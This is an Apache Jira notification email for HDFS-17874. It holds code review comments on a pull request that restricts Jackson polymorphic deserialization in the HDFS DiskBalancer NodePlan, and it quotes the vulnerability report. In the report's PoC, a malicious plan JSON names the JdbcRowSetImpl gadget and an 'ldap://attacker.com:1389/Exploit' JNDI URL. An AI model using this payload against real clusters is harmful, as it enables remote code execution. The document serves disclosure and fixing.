[
https://issues.apache.org/jira/browse/HDFS-17874?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=18055259#comment-18055259
]
ASF GitHub Bot commented on HDFS-17874:
---------------------------------------
steveloughran commented on code in PR #8196:
URL: https://github.com/apache/hadoop/pull/8196#discussion_r2742982189
##########
hadoop-hdfs-project/hadoop-hdfs/src/test/java/org/apache/hadoop/hdfs/server/diskbalancer/planner/TestNodePlan.java:
##########
@@ -0,0 +1,173 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with this
+ * work for additional information regarding copyright ownership. The ASF
+ * licenses this file to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * <p/>
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * <p/>
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
under
+ * the License.
+ */
+package org.apache.hadoop.hdfs.server.diskbalancer.planner;
+
+import com.fasterxml.jackson.annotation.JsonProperty;
+import org.apache.hadoop.hdfs.server.diskbalancer.datamodel.DiskBalancerVolume;
+import org.apache.hadoop.test.LambdaTestUtils;
+import org.junit.jupiter.api.Test;
+import sample.SampleStep;
+
+import java.io.IOException;
+import java.util.List;
+
+import static org.assertj.core.api.Assertions.assertThat;
+
+public class TestNodePlan {
+
+ @Test
+ public void testNodePlan() throws IOException {
+ NodePlan nodePlan = new NodePlan("datanode1234", 1234);
+ MoveStep moveStep = new MoveStep();
+ moveStep.setBandwidth(12345);
+ moveStep.setBytesToMove(98765);
+ moveStep.setIdealStorage(1.234);
+ moveStep.setMaxDiskErrors(4567);
+ moveStep.setVolumeSetID("id1234");
+ nodePlan.addStep(moveStep);
+ String json = nodePlan.toJson();
+ assertThat(NodePlan.parseJson(json)).isNotNull();
+ }
+
+ @Test
+ public void testNodePlanWithDisallowedStep() throws Exception {
+ NodePlan nodePlan = new NodePlan("datanode1234", 1234);
+ Step sampleStep = new SampleStep();
+ sampleStep.setBandwidth(12345);
+ sampleStep.setMaxDiskErrors(4567);
+ nodePlan.addStep(sampleStep);
+ String json = nodePlan.toJson();
+ IOException ex = LambdaTestUtils.intercept(IOException.class, () ->
NodePlan.parseJson(json));
+ assertThat(ex.getMessage())
+ .isEqualTo("Invalid @class value in NodePlan JSON: sample.SampleStep");
Review Comment:
Factor the toJson and intercept to a new assert, use everywhere, moving the
string to check into intercept(). intercept() knows to include the rejected
exception if there's no match, which is invaluable debugging things. (oh, it's
a toString().contains() check, FWIW)
```
assertNodePlanInvalid(nodePlan) {
LambdaTestUtils.intercept(IOException.class,
"Invalid @class value in NodePlan JSON: sample.SampleStep",
() -> NodePlan.parseJson(nodePlan.toJson()));
}
```
Apply here and in the steps below, just to reduce duplication in test code.
##########
hadoop-hdfs-project/hadoop-hdfs/src/main/java/org/apache/hadoop/hdfs/DFSConfigKeys.java:
##########
@@ -2110,4 +2110,6 @@ public class DFSConfigKeys extends
CommonConfigurationKeys {
public static final long DFS_LEASE_HARDLIMIT_DEFAULT =
HdfsClientConfigKeys.DFS_LEASE_HARDLIMIT_DEFAULT;
+ public static final String SUPPORTED_PACKAGES_CONFIG_NAME =
Review Comment:
add a javadoc
```java
/*
* List of packages from which Step implementations will be loaded when
deserializing
* Node Plans: {@value}.
*/
```
##########
hadoop-hdfs-project/hadoop-hdfs/src/test/java/org/apache/hadoop/hdfs/server/diskbalancer/planner/TestNodePlan.java:
##########
@@ -0,0 +1,173 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one or more
+ * contributor license agreements. See the NOTICE file distributed with this
+ * work for additional information regarding copyright ownership. The ASF
+ * licenses this file to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * <p/>
+ * http://www.apache.org/licenses/LICENSE-2.0
+ * <p/>
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
under
+ * the License.
+ */
+package org.apache.hadoop.hdfs.server.diskbalancer.planner;
+
+import com.fasterxml.jackson.annotation.JsonProperty;
+import org.apache.hadoop.hdfs.server.diskbalancer.datamodel.DiskBalancerVolume;
+import org.apache.hadoop.test.LambdaTestUtils;
+import org.junit.jupiter.api.Test;
+import sample.SampleStep;
Review Comment:
can we have import ordering in new class of
```
java.*
non-apache
org.apache.*
static imports
```
It's the nominal structure
##########
hadoop-hdfs-project/hadoop-hdfs/src/main/java/org/apache/hadoop/hdfs/server/diskbalancer/planner/NodePlan.java:
##########
@@ -243,22 +244,11 @@ private static boolean stepClassIsAllowed(String
className) {
return false;
}
- private static List<String> getAllowedPackages() {
- String packages = CONFIGURATION.get(SUPPORTED_PACKAGES_CONFIG_NAME);
- return parseCsvLine(packages);
- }
-
- static List<String> parseCsvLine(final String line) {
- if (line == null) {
- return Collections.emptyList();
- }
- List<String> values = new LinkedList<>();
- for (String value : line.split(",")) {
- String trimmedValue = value.trim();
- if (!trimmedValue.isBlank()) {
- values.add(trimmedValue);
- }
- }
- return values;
+ private static Collection<String> getAllowedPackages() {
+ return CONFIGURATION.getStringCollection(SUPPORTED_PACKAGES_CONFIG_NAME)
+ .stream()
+ .map(String::trim)
Review Comment:
needless, they get trimmed already. Do leave that filter in though as I'm
not sure what happens there
> Unsafe Jackson Polymorphic Deserialization in HDFS DiskBalancer NodePlan
> ------------------------------------------------------------------------
>
> Key: HDFS-17874
> URL: https://issues.apache.org/jira/browse/HDFS-17874
> Project: Hadoop HDFS
> Issue Type: Bug
> Components: diskbalancer
> Affects Versions: 3.4.2
> Reporter: Cyl
> Priority: Major
> Labels: pull-request-available
>
> h3. Summary
> The {{NodePlan}} class in Apache Hadoop HDFS DiskBalancer uses
> {{@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)}} annotation, which allows
> user-controlled JSON input to specify arbitrary Java class names for
> instantiation during deserialization. While current exploitation is partially
> mitigated by type constraints and Jackson's internal blocklist, this
> represents a dangerous coding pattern that could lead to Remote Code
> Execution (RCE) if mitigations are bypassed.
> h3. Details
> The vulnerability exists in {{NodePlan.java}} where the {{volumeSetPlans}}
> field is annotated with Jackson's polymorphic type handling:
>
> {{// File:
> hadoop-hdfs-project/hadoop-hdfs/src/main/java/org/apache/hadoop/hdfs/server/diskbalancer/planner/NodePlan.java@JsonTypeInfo(use
> = JsonTypeInfo.Id.CLASS,
> include = JsonTypeInfo.As.PROPERTY, property = "@class")private
> List<Step> volumeSetPlans;}}
> When a user executes the DiskBalancer command with a plan file:
>
> {{hdfs diskbalancer -execute <plan_file.json>}}
> The JSON file is parsed via {{{}NodePlan.parseJson(){}}}:
>
> {{public static NodePlan parseJson(String json) throws IOException {
> return READER.readValue(json); // Deserializes with @JsonTypeInfo}}}
> Jackson reads the {{@class}} property from the JSON and attempts to
> instantiate the specified class. An attacker can craft a malicious JSON file
> specifying a gadget class (e.g., {{{}JdbcRowSetImpl{}}}) to trigger JNDI
> injection or other exploitation chains.
> *Attack Chain:*
>
> {{User submits malicious plan JSON
> → hdfs diskbalancer -execute <malicious_plan.json>
> → ExecuteCommand.submitPlan()
> → NodePlan.parseJson(planData)
> → Jackson ObjectMapper.readValue() with @JsonTypeInfo
> → Attempts arbitrary class instantiation via "@class" property}}
> h3. PoC
> # {*}Setup Environment{*}: Deploy a Hadoop cluster with DiskBalancer enabled.
> # {*}Create Malicious Payload{*}: Save the following as
> {{{}malicious_plan.json{}}}:
>
> {{{"volumeSetPlans": [{"@class":
> "com.sun.rowset.JdbcRowSetImpl","dataSourceName":
> "ldap://attacker.com:1389/Exploit","autoCommit": true}],"nodeName":
> "victim-datanode","nodeUUID": "00000000-0000-0000-0000-000000000000","port":
> 9867,"timeStamp": 1234567890000}}}
> # {*}Execute Attack{*}:
>
> {{# On a machine with HDFS client accesshdfs diskbalancer -execute
> malicious_plan.json}}
> # {*}Observed Behavior{*}:
> ** With current mitigations: {{InvalidTypeIdException: Not a subtype of
> Step}}
> ** Without mitigations (older Jackson/custom Step gadget): JNDI connection
> to attacker server
> # {*}Alternative Test (Direct API){*}:
> h3. Impact
> * {*}Potential RCE{*}: If a gadget class implementing the {{Step}} interface
> exists in the classpath (via third-party plugins or future code changes),
> full Remote Code Execution is achievable.
> * {*}Defense-in-Depth Violation{*}: The code relies entirely on external
> mitigations (Jackson blocklist, type constraints) rather than implementing
> proper input validation.
> * {*}Future Risk{*}: New gadget classes are regularly discovered. The
> blocklist may not cover all future threats.
> h3. Affected products
> * {*}Ecosystem{*}: Maven
> * {*}Package name{*}: org.apache.hadoop:hadoop-hdfs
> * {*}Affected versions{*}: All versions using {{@JsonTypeInfo(use =
> JsonTypeInfo.Id.CLASS)}} in NodePlan.java (Confirmed in 3.x branch)
> * {*}Patched versions{*}:
> h3. Severity
> * {*}Severity{*}: Medium (currently mitigated) / High (if mitigations
> bypassed)
> * {*}Vector string{*}: CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H (6.7)
> ** Attack Vector: Local (requires access to submit DiskBalancer plans)
> ** Attack Complexity: High (requires bypass of type constraints)
> ** Privileges Required: Low (authenticated HDFS user)
> h3. Weaknesses
> * {*}CWE{*}: CWE-502: Deserialization of Untrusted Data
> h3. Occurrences
> ||Permalink||Description||
> |[https://github.com/apache/hadoop/blob/trunk/hadoop-hdfs-project/hadoop-hdfs/src/main/java/org/apache/hadoop/hdfs/server/diskbalancer/planner/NodePlan.java#L34-L36]|The
> {{@JsonTypeInfo(use=Id.CLASS)}} annotation on {{volumeSetPlans}} field
> allows user-controlled class instantiation.|
> |[https://github.com/apache/hadoop/blob/trunk/hadoop-hdfs-project/hadoop-hdfs/src/main/java/org/apache/hadoop/hdfs/server/diskbalancer/planner/NodePlan.java#L160-L162]|The
> {{parseJson()}} method that deserializes user-provided JSON without
> additional validation.|
> h3. Recommended Fix
> Replace the dangerous {{@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)}} pattern
> with a safe alternative by *Use Concrete Type*
> {{// Remove polymorphic deserialization entirelyprivate List<MoveStep>
> volumeSetPlans; // Concrete type instead of interface}}
> {{}}
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]
